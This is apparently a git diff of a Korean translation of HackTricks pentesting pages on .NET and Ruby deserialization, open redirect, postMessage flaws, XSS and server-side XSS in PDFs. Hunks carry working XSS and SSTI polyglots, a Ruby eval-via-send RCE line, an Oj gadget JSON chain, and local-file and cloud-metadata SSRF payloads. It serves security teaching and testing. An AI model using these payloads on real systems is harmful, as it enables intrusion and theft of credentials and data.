[ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)): ```java if (inputArgs.Test) { @@ -705,14 +705,14 @@ TypeNameHandling = TypeNameHandling.Auto return obj; } ``` -**이전 코드는 생성된 익스플로잇에 취약합니다**. 따라서 .Net 애플리케이션에서 유사한 것을 발견하면 해당 애플리케이션도 취약할 가능성이 높습니다.\ +In the **이전 코드는 생성된 익스플로잇에 취약합니다**. 따라서 .Net 애플리케이션에서 유사한 것을 발견하면 해당 애플리케이션도 취약할 가능성이 높습니다.\ 따라서 **`--test`** 매개변수는 **어떤 코드 조각이** **ysoserial.net**이 생성할 수 있는 역직렬화 익스플로잇에 취약한지를 이해하는 데 도움이 됩니다. ### ViewState [**.Net의 \_\_ViewState 매개변수를 악용하는 방법에 대한 이 POST를 확인하세요**](exploiting-__viewstate-parameter.md) **임의 코드를 실행하기 위해.** 만약 **희생자 머신에서 사용된 비밀을 이미 알고 있다면**, [**코드를 실행하는 방법을 알아보려면 이 포스트를 읽으세요**](exploiting-__viewstate-knowing-the-secret.md)**.** -### 예방 +### Prevention .Net에서 역직렬화와 관련된 위험을 완화하기 위해: @@ -726,18 +726,18 @@ return obj; - **.Net 내에서 알려진 불안전한 역직렬화 가젯에 대한 정보를 유지하고** 역직렬화기가 그러한 유형을 인스턴스화하지 않도록 하십시오. - **잠재적으로 위험한 코드를 인터넷에 접근할 수 있는 코드와 격리하여** `System.Windows.Data.ObjectDataProvider`와 같은 알려진 가젯을 신뢰할 수 없는 데이터 소스에 노출되지 않도록 하십시오. -### **참고문헌** +### **References** -- Java 및 .Net JSON 역직렬화 **논문:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** 강연: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) 및 슬라이드: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) +- Java와 .Net JSON 역직렬화 **논문:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** 강연: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) 및 슬라이드: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp) - [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf) - [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization) -## **루비** +## **Ruby** -루비에서 직렬화는 **marshal** 라이브러리 내의 두 가지 메서드에 의해 수행됩니다. 첫 번째 메서드는 **dump**로, 객체를 바이트 스트림으로 변환하는 데 사용됩니다. 이 과정을 직렬화라고 합니다. 반대로 두 번째 메서드인 **load**는 바이트 스트림을 다시 객체로 되돌리는 데 사용되며, 이를 역직렬화라고 합니다. +루비에서 직렬화는 **marshal** 라이브러리 내의 두 가지 메서드에 의해 수행됩니다. 첫 번째 메서드는 **dump**로, 객체를 바이트 스트림으로 변환하는 데 사용됩니다. 이 과정을 직렬화라고 합니다. 반대로 두 번째 메서드인 **load**는 바이트 스트림을 다시 객체로 되돌리는 데 사용되며, 이 과정을 역직렬화라고 합니다. -직렬화된 객체를 보호하기 위해 **루비는 HMAC (Hash-Based Message Authentication Code)**를 사용하여 데이터의 무결성과 진위를 보장합니다. 이를 위해 사용되는 키는 여러 가능한 위치 중 하나에 저장됩니다: +직렬화된 객체를 보호하기 위해 **루비는 HMAC (Hash-Based Message Authentication Code)**를 사용하여 데이터의 무결성과 진위를 보장합니다. 이 목적을 위해 사용되는 키는 여러 가능한 위치 중 하나에 저장됩니다: - `config/environment.rb` - `config/initializers/secret_token.rb` @@ -815,7 +815,7 @@ require "base64" puts "Payload (Base64 encoded):" puts Base64.encode64(payload) ``` -다른 RCE 체인으로 Ruby On Rails를 이용하는 방법: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/) +다른 RCE 체인으로 Ruby On Rails를 이용한 공격: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/) ### Ruby .send() 메서드 @@ -825,7 +825,7 @@ puts Base64.encode64(payload) ```ruby .send('eval', '') == RCE ``` -또한, **`.send()`**의 매개변수 중 하나만 공격자에 의해 제어된다면, 이전 글에서 언급한 바와 같이, **인수가 필요 없는** 객체의 모든 메서드나 **기본값**이 있는 인수를 가진 메서드를 호출할 수 있습니다.\ +또한, **`.send()`**의 매개변수 중 하나만 공격자에 의해 제어된다면, 이전 글에서 언급한 바와 같이, **인수가 필요 없는** 객체의 모든 메서드나 **기본값이 있는** 인수를 가진 메서드를 호출할 수 있습니다.\ 이를 위해, **그 요구 사항을 충족하는 흥미로운 메서드를 찾기 위해** 객체의 모든 메서드를 열거할 수 있습니다. ```ruby .send('') @@ -854,7 +854,7 @@ candidate_methods.length() # Final number of methods=> 3595 ### Ruby _json 오염 -해시 가능하지 않은 배열과 같은 값을 본문에 보내면 `_json`이라는 새로운 키에 추가됩니다. 그러나 공격자는 본문에 임의의 값을 가진 `_json`이라는 값을 설정할 수도 있습니다. 그런 다음, 예를 들어 백엔드가 매개변수의 진위를 확인하지만 `_json` 매개변수를 사용하여 어떤 작업을 수행하면 권한 우회가 발생할 수 있습니다. +해시 가능하지 않은 배열과 같은 값을 본문에 보내면 `_json`이라는 새로운 키에 추가됩니다. 그러나 공격자는 본문에 자신이 원하는 임의의 값으로 `_json`이라는 값을 설정할 수도 있습니다. 그런 다음, 예를 들어 백엔드가 매개변수의 진위를 확인하지만 `_json` 매개변수를 사용하여 어떤 작업을 수행하면, 권한 우회가 발생할 수 있습니다. [Ruby _json 오염 페이지에서 더 많은 정보를 확인하세요](ruby-_json-pollution.md). @@ -864,7 +864,7 @@ candidate_methods.length() # Final number of methods=> 3595 객체를 직렬화하는 데 사용할 수 있는 다른 Ruby 라이브러리가 있으며, 따라서 불안전한 역직렬화 중에 RCE를 얻기 위해 악용될 수 있습니다. 다음 표는 이러한 라이브러리 중 일부와 역직렬화될 때 로드된 라이브러리에서 호출되는 메서드를 보여줍니다(기본적으로 RCE를 얻기 위해 악용할 함수): -
라이브러리입력 데이터클래스 내에서 시작하는 메서드
Marshal (Ruby)Binary_load
OjJSONhash (클래스는 해시(맵)의 키로 넣어야 함)
OxXMLhash (클래스는 해시(맵)의 키로 넣어야 함)
Psych (Ruby)YAMLhash (클래스는 해시(맵)의 키로 넣어야 함)
init_with
JSON (Ruby)JSONjson_create ([json_create에 대한 주석은 끝에서 확인하세요](#table-vulnerable-sinks))
+
라이브러리입력 데이터클래스 내에서 시작하는 메서드
Marshal (Ruby)Binary_load
OjJSONhash (클래스는 해시(맵)의 키로 넣어야 함)
OxXMLhash (클래스는 해시(맵)의 키로 넣어야 함)
Psych (Ruby)YAMLhash (클래스는 해시(맵)의 키로 넣어야 함)
init_with
JSON (Ruby)JSONjson_create ([하단의 json_create에 대한 노트 참조](#table-vulnerable-sinks))
기본 예: ```ruby @@ -888,7 +888,7 @@ puts json_payload # Sink vulnerable inside the code accepting user input as json_payload Oj.load(json_payload) ``` -Oj를 악용하려고 시도한 경우, `hash` 함수 내에서 `to_s`를 호출하는 가젯 클래스를 찾는 것이 가능했으며, 이는 spec을 호출하고, fetch_path를 호출하여 무작위 URL을 가져오도록 만들 수 있었습니다. 이는 이러한 종류의 비위생적인 역직렬화 취약점을 탐지하는 데 큰 도움이 됩니다. +Oj를 악용하려고 시도한 경우, `hash` 함수 내에서 `to_s`를 호출하는 가젯 클래스를 찾을 수 있었으며, 이는 spec을 호출하고, fetch_path를 호출하여 무작위 URL을 가져오도록 만들 수 있었습니다. 이는 이러한 종류의 비위생적인 역직렬화 취약점을 탐지하는 데 큰 도움이 됩니다. ```json { "^o": "URI::HTTP", diff --git a/src/pentesting-web/open-redirect.md b/src/pentesting-web/open-redirect.md index 90a124bb8..2736bf6b7 100644 --- a/src/pentesting-web/open-redirect.md +++ b/src/pentesting-web/open-redirect.md @@ -58,7 +58,7 @@ javascript://whitelisted.com?%a0alert%281%29 ";alert(0);// ``` ## Open Redirect svg 파일 업로드 -```markup +```html 이 **치트시트는 각 취약점에 대한 포괄적인 테스트 목록을 제안하지 않습니다**, 기본적인 것들만 포함되어 있습니다. 더 포괄적인 테스트를 원하신다면 제안된 각 취약점에 접근하세요. > [!CAUTION] -> **XXE와 같은 Content-Type 의존 주입**은 찾을 수 없습니다. 일반적으로 xml 데이터를 전송하는 요청을 발견하면 직접 시도할 것입니다. **데이터베이스 주입**도 여기에는 없습니다. 일부 콘텐츠가 반영될 수 있지만, 이는 백엔드 DB 기술 및 구조에 크게 의존합니다. +> **XXE와 같은 Content-Type 의존 주입**은 찾을 수 없습니다. 일반적으로 xml 데이터를 전송하는 요청을 발견하면 직접 시도할 것입니다. **데이터베이스 주입**도 여기에는 없습니다. 일부 콘텐츠가 반영될 수 있지만 이는 백엔드 DB 기술 및 구조에 크게 의존합니다. ## Polygloths list ```python @@ -74,7 +74,7 @@ javascript:"/*'/*`/*-->

THIS IS AND INJECTED TITLE

``` ## [파일 포함/경로 탐색](../file-inclusion/index.html) @@ -130,24 +130,24 @@ javascript:alert(1) ## [서버 사이드 포함/엣지 사이드 포함](../server-side-inclusion-edge-side-inclusion-injection.md) ### 기본 테스트 -```markup +```html x=>alert(/Chrome%20XSS%20filter%20bypass/);> ``` ### 폴리글로스 -```markup +```html x=>alert(/Chrome%20XSS%20filter%20bypass/);> ``` ## [서버 측 요청 위조](../ssrf-server-side-request-forgery/index.html) -Open Redirect에 사용되는 동일한 테스트를 여기서 사용할 수 있습니다. +Open Redirect에 사용된 동일한 테스트를 여기서 사용할 수 있습니다. ## [서버 측 템플릿 주입](../ssti-server-side-template-injection/index.html) ### 기본 테스트 -```markup +```html ${{<%[%'"}}%\ {{7*7}} ${7*7} @@ -162,24 +162,24 @@ ${{7*7}} ## [XSLT Server Side Injection](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md) ### 기본 테스트 -```markup +```html ``` ### 폴리글로스 -```markup +```html ``` ## XSS ### 기본 테스트 -```markup +```html " onclick=alert() a=" '"> javascript:alert() ``` ### Polygloths -```markup +```html javascript:"/*'/*`/*--> -->'"/>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//\x3csVg/\x3e diff --git a/src/pentesting-web/postmessage-vulnerabilities/README.md b/src/pentesting-web/postmessage-vulnerabilities/README.md index 2ed55fa5c..0a80b6e6a 100644 --- a/src/pentesting-web/postmessage-vulnerabilities/README.md +++ b/src/pentesting-web/postmessage-vulnerabilities/README.md @@ -38,9 +38,9 @@ win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*') ### iframe 공격 및 **targetOrigin**의 와일드카드 -[**이 보고서**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)에서 설명한 바와 같이, **iframed**(X-Frame-Header 보호가 없음) 될 수 있는 페이지를 찾고 **와일드카드**(\*)를 사용하여 **postMessage**를 통해 **민감한** 메시지를 **전송하는** 경우, **iframe**의 **origin**을 **수정**하고 **민감한** 메시지를 당신이 제어하는 도메인으로 **유출**할 수 있습니다.\ -페이지가 iframed 될 수 있지만 **targetOrigin**이 **와일드카드가 아닌 URL로 설정된 경우**, 이 **트릭은 작동하지 않습니다**. -```markup +[**이 보고서**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)에서 설명한 바와 같이, **iframed**(X-Frame-Header 보호가 없음)될 수 있는 페이지를 찾고 **와일드카드**(\*)를 사용하여 **postMessage**를 통해 **민감한** 메시지를 **전송하는** 경우, **iframe**의 **origin**을 **수정**하고 **민감한** 메시지를 당신이 제어하는 도메인으로 **유출**할 수 있습니다.\ +페이지가 iframed될 수 있지만 **targetOrigin**이 **와일드카드가 아닌 URL로 설정된 경우**, 이 **트릭은 작동하지 않습니다**. +```html \\")) result.message // "'"\" ``` -이 취약성의 맥락에서, `File` 객체는 읽기 전용 `name` 속성으로 인해 특히 악용될 수 있습니다. 이 속성은 템플릿에서 사용될 때 `escapeHtml` 함수에 의해 정화되지 않아 잠재적인 보안 위험을 초래합니다. +이 취약성의 맥락에서 `File` 객체는 읽기 전용 `name` 속성으로 인해 특히 악용될 수 있습니다. 이 속성은 템플릿에서 사용될 때 `escapeHtml` 함수에 의해 정화되지 않아 잠재적인 보안 위험을 초래합니다. - JavaScript의 `document.domain` 속성은 스크립트에 의해 설정되어 도메인을 단축할 수 있으며, 이는 동일한 부모 도메인 내에서 보다 느슨한 동일 출처 정책 시행을 허용합니다. @@ -128,9 +128,9 @@ result.message // "'"\" **sandboxed iframe** 내에 웹 페이지를 임베드할 때 %%%%%%, iframe의 출처가 null로 설정된다는 점을 이해하는 것이 중요합니다. 이는 **sandbox 속성** 및 보안과 기능에 대한 그 함의와 관련하여 특히 중요합니다. -**`allow-popups`**를 sandbox 속성에 지정하면 iframe 내에서 열리는 모든 팝업 창은 부모의 sandbox 제한을 상속받습니다. 이는 **`allow-popups-to-escape-sandbox`** 속성이 포함되지 않는 한, 팝업 창의 출처도 `null`로 설정되어 iframe의 출처와 일치하게 됨을 의미합니다. +**`allow-popups`**를 sandbox 속성에 지정하면 iframe 내에서 열리는 모든 팝업 창은 부모의 sandbox 제한을 상속받습니다. 이는 **`allow-popups-to-escape-sandbox`** 속성이 포함되지 않는 한 팝업 창의 출처도 `null`로 설정된다는 것을 의미합니다. -따라서 이러한 조건에서 팝업이 열리고 iframe에서 팝업으로 **`postMessage`**를 사용하여 메시지를 보낼 때, 송신 및 수신 양쪽의 출처가 모두 `null`로 설정됩니다. 이 상황은 **`e.origin == window.origin`**이 true로 평가되는 시나리오를 초래합니다 (`null == null`), 왜냐하면 iframe과 팝업이 모두 `null`이라는 동일한 출처 값을 공유하기 때문입니다. +따라서 이러한 조건에서 팝업이 열리고 iframe에서 팝업으로 **`postMessage`**를 사용하여 메시지가 전송되면, 송신 및 수신 양쪽의 출처가 `null`로 설정됩니다. 이 상황은 **`e.origin == window.origin`**이 true로 평가되는 시나리오를 초래합니다 (`null == null`), 왜냐하면 iframe과 팝업이 동일한 출처 값인 `null`을 공유하기 때문입니다. 더 많은 정보는 **읽어보세요**: @@ -140,7 +140,7 @@ bypassing-sop-with-iframes-1.md ### e.source 우회 -메시지가 스크립트가 청취하고 있는 동일한 창에서 온 것인지 확인할 수 있습니다 (특히 **브라우저 확장의 콘텐츠 스크립트**가 메시지가 동일한 페이지에서 전송되었는지 확인하는 데 흥미롭습니다): +메시지가 스크립트가 수신 대기 중인 동일한 창에서 온 것인지 확인할 수 있습니다 (특히 **브라우저 확장의 콘텐츠 스크립트**가 메시지가 동일한 페이지에서 전송되었는지 확인하는 데 흥미롭습니다): ```javascript // If it’s not, return immediately. if (received_message.source !== window) { @@ -159,7 +159,7 @@ bypassing-sop-with-iframes-2.md 이러한 공격을 수행하기 위해서는 이상적으로 **피해자 웹 페이지**를 `iframe` 안에 넣을 수 있어야 합니다. 그러나 `X-Frame-Header`와 같은 일부 헤더는 그러한 **동작**을 **방지**할 수 있습니다.\ 이러한 시나리오에서는 덜 은밀한 공격을 여전히 사용할 수 있습니다. 취약한 웹 애플리케이션에 새 탭을 열고 그와 통신할 수 있습니다: -```markup +```html `** 태그, `.js` 파일 또는 **`javascript:`** 프로토콜을 사용하는 속성 안에 반영됩니다: +이 경우 입력은 HTML 페이지의 **``** 태그, `.js` 파일 또는 **`javascript:`** 프로토콜을 사용하는 속성 내에서 반영됩니다: -- **``** 태그 사이에 반영되는 경우, 입력값이 어떤 종류의 따옴표 안에 있더라도 ``를 주입하고 이 컨텍스트에서 탈출할 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 파싱**하고 그 다음에 내용을 처리하기 때문에, 주입된 `` 태그가 HTML 코드 안에 있다는 것을 인식하지 못합니다. -- **JS 문자열 안에 반영되는 경우** 마지막 트릭이 작동하지 않으면 문자열에서 **탈출**하고, **코드를 실행**하며 **JS 코드를 재구성**해야 합니다 (오류가 발생하면 실행되지 않습니다): +- **``** 태그 사이에 반영되는 경우, 입력이 어떤 종류의 따옴표 안에 있더라도 ``를 주입하고 이 컨텍스트에서 탈출할 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 파싱**하고 그 다음에 내용을 처리하기 때문에, 주입된 `` 태그가 HTML 코드 안에 있다는 것을 인식하지 못합니다. +- **JS 문자열 안에 반영되는 경우** 마지막 트릭이 작동하지 않으면 문자열에서 **탈출**하고, **코드를 실행**하며 **JS 코드를 재구성**해야 합니다(오류가 발생하면 실행되지 않습니다): - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` @@ -83,8 +83,8 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoisting은 **함수, 변수 또는 클래스를 사용한 후에 선언할 수 있는 기회를 참조하여 XSS가 선언되지 않은 변수나 함수를 사용하는 시나리오를 악용할 수 있습니다.**\ -**자세한 내용은 다음 페이지를 확인하세요:** +Javascript Hoisting은 **함수, 변수 또는 클래스를 사용한 후에 선언할 수 있는 기회를 참조하며, 이는 선언되지 않은 변수나 함수를 사용하는 XSS 시나리오를 악용할 수 있습니다.**\ +**자세한 정보는 다음 페이지를 확인하세요:** {{#ref}} js-hoisting.md @@ -94,7 +94,7 @@ js-hoisting.md 여러 웹 페이지에는 **실행할 함수의 이름을 매개변수로 받아들이는 엔드포인트**가 있습니다. 실제로 흔히 볼 수 있는 예는 `?callback=callbackFunc`와 같은 것입니다. -사용자가 직접 제공한 것이 실행되려고 하는지 확인하는 좋은 방법은 **매개변수 값을 수정하는 것**(예: 'Vulnerable'로)이고, 콘솔에서 다음과 같은 오류를 찾는 것입니다: +사용자가 직접 제공한 것이 실행되려고 하는지 확인하는 좋은 방법은 **매개변수 값을 수정하는 것**입니다 (예: 'Vulnerable'로 변경) 그리고 콘솔에서 다음과 같은 오류를 확인하는 것입니다: ![](<../../images/image (711).png>) @@ -104,7 +104,7 @@ js-hoisting.md ![](<../../images/image (747).png>) -이를 위한 몇 가지 유용한 함수: +이와 관련된 유용한 함수들: ``` firstElementChild lastElementChild @@ -130,9 +130,9 @@ some-same-origin-method-execution.md dom-xss.md {{#endref}} -### **Universal XSS** +### **유니버설 XSS** -이러한 종류의 XSS는 **어디에서나** 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 익스플로잇에만 의존하지 않고 **모든** **컨텍스트**에 의존합니다. 이러한 종류의 **임의 JavaScript 실행**은 **RCE**를 얻거나, 클라이언트와 서버에서 **임의의 파일을 읽는** 등의 악용이 가능합니다.\ +이러한 종류의 XSS는 **어디에서나** 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 익스플로잇에만 의존하지 않고 **모든** **컨텍스트**에 의존합니다. 이러한 종류의 **임의 JavaScript 실행**은 **RCE**를 얻거나, 클라이언트와 서버에서 **임의의 파일을 읽는** 데 악용될 수 있습니다.\ 몇 가지 **예시**: {{#ref}} @@ -147,10 +147,10 @@ server-side-xss-dynamic-pdf.md ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) -## 원시 HTML 내 주입 +## 원시 HTML 내에서 주입 당신의 입력이 **HTML 페이지 내에서 반영**되거나 이 컨텍스트에서 HTML 코드를 이스케이프하고 주입할 수 있다면, **첫 번째**로 해야 할 일은 `<`를 악용하여 새로운 태그를 생성할 수 있는지 확인하는 것입니다: 그 **문자**를 **반영**해보고 그것이 **HTML 인코딩**되었는지, **삭제**되었는지, 아니면 **변경 없이 반영**되었는지 확인하십시오. **마지막 경우에만 이 경우를 악용할 수 있습니다**.\ -이 경우에도 **[클라이언트 측 템플릿 주입](../client-side-template-injection-csti.md)**을 염두에 두십시오.\ +이 경우에도 **[클라이언트 측 템플릿 주입](../client-side-template-injection-csti.md)**을 **염두에 두십시오**.\ _**참고: HTML 주석은 `-->` 또는 `--!>`로 닫을 수 있습니다.**_ 이 경우 블랙/화이트리스트가 사용되지 않는다면, 다음과 같은 페이로드를 사용할 수 있습니다: @@ -166,7 +166,7 @@ alert(1) ### 태그/이벤트 브루트 포스 -[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)로 가서 _**태그를 클립보드에 복사**_를 클릭하세요. 그런 다음, Burp intruder를 사용하여 모든 태그를 전송하고 WAF에서 악성으로 발견되지 않은 태그가 있는지 확인하세요. 사용할 수 있는 태그를 발견한 후, 유효한 태그를 사용하여 **모든 이벤트를 브루트 포스**할 수 있습니다(같은 웹 페이지에서 _**이벤트를 클립보드에 복사**_를 클릭하고 이전과 같은 절차를 따르세요). +[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)로 가서 _**태그를 클립보드에 복사**_를 클릭합니다. 그런 다음, Burp intruder를 사용하여 모든 태그를 전송하고 WAF에서 악성으로 발견되지 않은 태그가 있는지 확인합니다. 사용할 수 있는 태그를 발견한 후, 유효한 태그를 사용하여 **모든 이벤트를 브루트 포스**할 수 있습니다(같은 웹 페이지에서 _**이벤트를 클립보드에 복사**_를 클릭하고 이전과 같은 절차를 따릅니다). ### 사용자 정의 태그 @@ -228,7 +228,7 @@ onerror=alert`1` ``` ### 길이 우회 (작은 XSS) -> [!NOTE] > **다양한 환경을 위한 더 많은 작은 XSS** 페이로드 [**여기에서 찾을 수 있습니다**](https://github.com/terjanq/Tiny-XSS-Payloads) 및 [**여기에서**](https://tinyxss.terjanq.me). +> [!NOTE] > **다양한 환경을 위한 더 많은 작은 XSS** 페이로드 [**여기에서 찾을 수 있습니다**](https://github.com/terjanq/Tiny-XSS-Payloads) 및 [**여기에서 찾을 수 있습니다**](https://tinyxss.terjanq.me). ```html
``` -### Within the attribute +### 속성 내에서 -Even if you **cannot escape from the attribute** (`"` is being encoded or deleted), depending on **which attribute** your value is being reflected in **if you control all the value or just a part** you will be able to abuse it. For **example**, if you control an event like `onclick=` you will be able to make it execute arbitrary code when it's clicked.\ -Another interesting **example** is the attribute `href`, where you can use the `javascript:` protocol to execute arbitrary code: **`href="javascript:alert(1)"`** +속성에서 **탈출할 수 없는 경우**(`"`가 인코딩되거나 삭제됨)에도 불구하고, **어떤 속성**에 값이 반영되는지에 따라 **모든 값을 제어할 수 있는지 또는 일부만 제어할 수 있는지**에 따라 이를 악용할 수 있습니다. **예를 들어**, `onclick=`와 같은 이벤트를 제어할 수 있다면 클릭할 때 임의의 코드를 실행할 수 있습니다.\ +또 다른 흥미로운 **예**는 `href` 속성으로, 여기서 `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`** **HTML 인코딩/URL 인코딩을 사용한 이벤트 내 우회** -The **HTML encoded characters** inside the value of HTML tags attributes are **decoded on runtime**. Therefore something like the following will be valid (the payload is in bold): `Go Back ` +HTML 태그 속성의 값 내 **HTML 인코딩된 문자**는 **런타임에 디코딩됩니다**. 따라서 다음과 같은 것이 유효합니다(페이로드는 굵게 표시됨): `Go Back ` -Note that **any kind of HTML encode is valid**: +**모든 종류의 HTML 인코딩이 유효하다는 점에 유의하세요**: ```javascript //HTML entities '-alert(1)-' @@ -326,7 +326,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc **이 프로토콜을 주입할 수 있는 장소** **일반적으로** `javascript:` 프로토콜은 **`href`** 속성을 허용하는 모든 태그와 **대부분의** **`src`** 속성을 허용하는 태그에서 사용할 수 있습니다 (단, ``는 제외). -```markup +```html
@@ -373,11 +373,11 @@ _**이 경우, 이전 섹션의 HTML 인코딩 및 유니코드 인코딩 기법 ``` -### 리버스 탭 나빙 +### 리버스 탭 내빙 ```javascript
//No safari @@ -423,14 +423,14 @@ onbeforetoggle="alert(2)" />
Newsletter popup
``` 다음에서 [**여기**](https://portswigger.net/research/xss-in-hidden-input-fields): **숨겨진 속성** 내에서 **XSS 페이로드**를 실행할 수 있으며, 이를 위해 **희생자**가 **키 조합**을 누르도록 **설득**해야 합니다. Firefox Windows/Linux에서 키 조합은 **ALT+SHIFT+X**이고, OS X에서는 **CTRL+ALT+X**입니다. 접근 키 속성에서 다른 키를 사용하여 다른 키 조합을 지정할 수 있습니다. 벡터는 다음과 같습니다: -```markup +```html ``` **XSS 페이로드는 다음과 같을 것입니다: `" accesskey="x" onclick="alert(1)" x="`** ### 블랙리스트 우회 -이 섹션에서는 다양한 인코딩을 사용하는 몇 가지 트릭이 이미 공개되었습니다. **다시 돌아가서 다음을 배울 수 있는 곳을 확인하세요:** +이 섹션에서는 다양한 인코딩을 사용하는 여러 가지 트릭이 이미 공개되었습니다. **다시 돌아가서 다음을 배울 수 있는 곳을 확인하세요:** - **HTML 인코딩 (HTML 태그)** - **유니코드 인코딩 (유효한 JS 코드일 수 있음):** `\u0061lert(1)` @@ -468,19 +468,19 @@ onbeforetoggle="alert(2)" /> ## JavaScript 코드 내 주입 -이 경우 **입력**이 `.js` 파일의 JS 코드 내에 **반영**되거나 `` 태그 사이, JS 코드를 실행할 수 있는 HTML 이벤트 사이, 또는 `javascript:` 프로토콜을 허용하는 속성 사이에 있을 것입니다. +이 경우 **입력**이 `.js` 파일의 JS 코드 내에 **반영될** 것이거나 `` 태그 사이, JS 코드를 실행할 수 있는 HTML 이벤트 사이, 또는 `javascript:` 프로토콜을 수용하는 속성 사이에 있을 것입니다. ### \` 내에 삽입된 경우, `` 내에 삽입되면, **` ``` -이 예제에서는 **단일 인용부호를 닫지 않았습니다**. 이는 **HTML 파싱이 먼저 브라우저에 의해 수행되기 때문**입니다. 여기에는 페이지 요소, 즉 스크립트 블록을 식별하는 과정이 포함됩니다. JavaScript의 파싱은 내장된 스크립트를 이해하고 실행하기 위해 그 이후에 수행됩니다. +이 예제에서는 **단일 인용부호를 닫지 않았습니다**. 이는 **HTML 파싱이 먼저 브라우저에 의해 수행되기 때문**입니다. 여기에는 페이지 요소, 스크립트 블록 식별이 포함됩니다. JavaScript의 파싱은 내장된 스크립트를 이해하고 실행하기 위해 그 이후에만 수행됩니다. ### JS 코드 내부 -`<>`가 정리되고 있다면 여전히 **문자열을 이스케이프**할 수 있으며, 입력이 **위치한 곳**에서 **임의의 JS를 실행**할 수 있습니다. JS 구문을 **수정하는 것이 중요**합니다. 오류가 있을 경우 JS 코드가 실행되지 않기 때문입니다: +`<>`가 정리되고 있다면 여전히 **문자열을 이스케이프**할 수 있으며, 입력이 **위치한 곳**에서 **임의의 JS를 실행**할 수 있습니다. **JS 구문을 수정하는 것이 중요**합니다. 오류가 있을 경우 JS 코드가 실행되지 않기 때문입니다: ``` '-alert(document.domain)-' ';alert(document.domain)// @@ -496,15 +496,15 @@ onbeforetoggle="alert(2)" /> ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` -```````````````javascript +```javascript // This is valid JS code, because each time the function returns itself it's recalled with `` function loop() { return loop } -loop`````````````` -``````````````` +loop`` +``` ### 인코딩된 코드 실행 -```markup +```html @@ -36,7 +36,7 @@ ### SVG 이전의 모든 페이로드는 이 SVG 페이로드 내에서 사용될 수 있습니다. Burpcollab 서브도메인에 접근하는 iframe과 메타데이터 엔드포인트에 접근하는 또 다른 iframe이 예로 제시됩니다. -```markup +```html @@ -63,7 +63,7 @@ alert(1); 많은 **다른 SVG 페이로드**를 [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)에서 찾을 수 있습니다. ### 경로 노출 -```markup +```html @@ -72,17 +72,17 @@ if not, you will at least have wich path the bot is accessing --> ### Load an external script 이 취약점을 악용하는 가장 적합한 방법은 취약점을 이용하여 봇이 로컬에서 제어하는 스크립트를 로드하도록 만드는 것입니다. 그러면 로컬에서 페이로드를 변경하고 매번 동일한 코드로 봇이 이를 로드하도록 할 수 있습니다. -```markup +```html ')"/> ``` ### 로컬 파일 읽기 / SSRF > [!WARNING] -> `file:///etc/passwd`를 `http://169.254.169.254/latest/user-data`로 변경하여 **외부 웹 페이지에 접근해 보십시오 (SSRF)**. +> `file:///etc/passwd`를 `http://169.254.169.254/latest/user-data`로 변경하여 **외부 웹 페이지에 접근해 보세요 (SSRF)**. > -> SSRF가 허용되지만 **흥미로운 도메인이나 IP에 도달할 수 없는 경우**, [이 페이지에서 잠재적인 우회 방법을 확인하십시오](../ssrf-server-side-request-forgery/url-format-bypass.md). -```markup +> SSRF가 허용되지만 **흥미로운 도메인이나 IP에 도달할 수 없는 경우**, [이 페이지를 확인하여 잠재적인 우회 방법을 